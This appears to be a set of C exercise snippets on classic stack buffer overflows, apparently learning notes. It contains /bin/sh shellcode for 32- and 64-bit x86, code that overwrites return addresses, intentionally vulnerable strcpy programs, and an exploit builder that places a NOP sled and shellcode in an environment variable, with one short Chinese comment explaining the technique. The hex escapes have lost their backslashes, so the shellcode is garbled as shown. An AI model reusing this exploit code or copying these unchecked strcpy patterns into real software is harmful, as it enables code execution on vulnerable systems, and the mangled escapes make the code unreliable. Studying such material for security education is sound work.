char shellcode[] ="xebx2ax5ex89x76x08xc6x46x07x00xc7x46x0cx00x00x00""x00xb8x0bx00x00x00x89xf3x8dx4ex08x8dx56x0cxcdx80""xb8x01x00x00x00xbbx00x00x00x00xcdx80xe8xd1xffxff""xffx2fx62x69x6ex2fx73x68x00x89xecx5dxc3";void hello(){printf("hello.n");exit(0);
}void main(int argc, char **p) {int *ret;ret = (int *)&ret + 2;(*ret) = (int)shellcode;
}

char *shellcode = "x48x31xffx48x31xc0xb0x69x0fx05x48x31xd2x48xbbxffx2fx62x69x6ex2fx73x68x48xc1xebx08x53x48x89xe7x48x31xc0x50x57x48x89xe6xb0x3bx0fx05";void main(int argc, char **p) {unsigned long *ret;ret = (unsigned long *)&ret + 3;(*ret) = (unsigned long)shellcode;}

char *shellcode = "x48x31xffx48x31xc0xb0x69x0fx05x48x31xd2x48xbbxffx2fx62x69x6ex2fx73x68x48xc1xebx08x53x48x89xe7x48x31xc0x50x57x48x89xe6xb0x3bx0fx05";void main(int argc, char **p) {unsigned long *ret;ret = (unsigned long *)&ret + 1 ;(*ret) = (unsigned long)shellcode;}

void main(int argc, char **p) {int *ret;char shellcode[] ="xebx2ax5ex89x76x08xc6x46x07x00xc7x46x0cx00x00x00""x00xb8x0bx00x00x00x89xf3x8dx4ex08x8dx56x0cxcdx80""xb8x01x00x00x00xbbx00x00x00x00xcdx80xe8xd1xffxff""xffx2fx62x69x6ex2fx73x68x00x89xecx5dxc3";ret = (int *)&ret + 21;(*ret) = (int)shellcode;
}

void function(char *str){char buffer[16];strcpy(buffer,str);
}void main(){char large_string[256];int i;for(i=0;i<255;i++)large_string[i]='A';function(large_string);
}

char *shellcode = "x48x31xffx48x31xc0xb0x69x0fx05x48x31xd2x48xbbxffx2fx62x69x6ex2fx73x68x48xc1xebx08x53x48x89xe7x48x31xc0x50x57x48x89xe6xb0x3bx0fx05";char large_string[256];void main() {char buffer[96];int i;unsigned long *long_ptr = (unsigned long *) large_string;for (i = 0; i < 32; i++)*(long_ptr + i) = (unsigned long) buffer; //使用buffer首地址填充large_string；等待覆盖return address；这样，返回地址变为buffer首地址；下一个for循环，使得shellcode在strcpy的起始；使用strcpy，保证buffer首地址就是shellode的起始for (i = 0; i < strlen(shellcode); i++)large_string[i] = shellcode[i];strcpy(buffer,large_string);
}

void main (int argc,char *argv[]) {char buffer[512];if (argc > 1)strcpy(buffer,argv[1]);
}

unsigned long get_sp(void) {__asm__("movl %esp,%eax");
}
void main() {printf("0x%xn", get_sp());
}

 #include <stdlib.h>
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
#define NOP 0x90char shellcode[] =
"xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b"
"x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd"
"x80xe8xdcxffxffxff/bin/sh";unsigned long get_sp(void) {__asm__("movl %esp,%eax");
}void main(int argc, char *argv[]) {char *buff, *ptr;long *addr_ptr, addr;int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;int i;if (argc > 1) bsize = atoi(argv[1]);if (argc > 2) offset = atoi(argv[2]);if (!(buff = malloc(bsize))) {printf("Can't allocate memory.n");exit(0);} printf("0x%xn",get_sp());addr = get_sp() - offset;printf("Using address: 0x%xn", addr);ptr = buff;
//  addr = "bfffef90"; addr_ptr = (long *) ptr;for (i = 0; i < bsize; i+=4)*(addr_ptr++) = addr;for (i = 0; i < bsize/2; i++)buff[i] = NOP;ptr = buff + ((bsize/2) - (strlen(shellcode)/2));for (i = 0; i < strlen(shellcode); i++)*(ptr++) = shellcode[i];buff[bsize - 1] = '0';//memcpy(buff,"EGG=",4);//putenv(buff);setenv("EGG",buff,1);system("/bin/bash");
}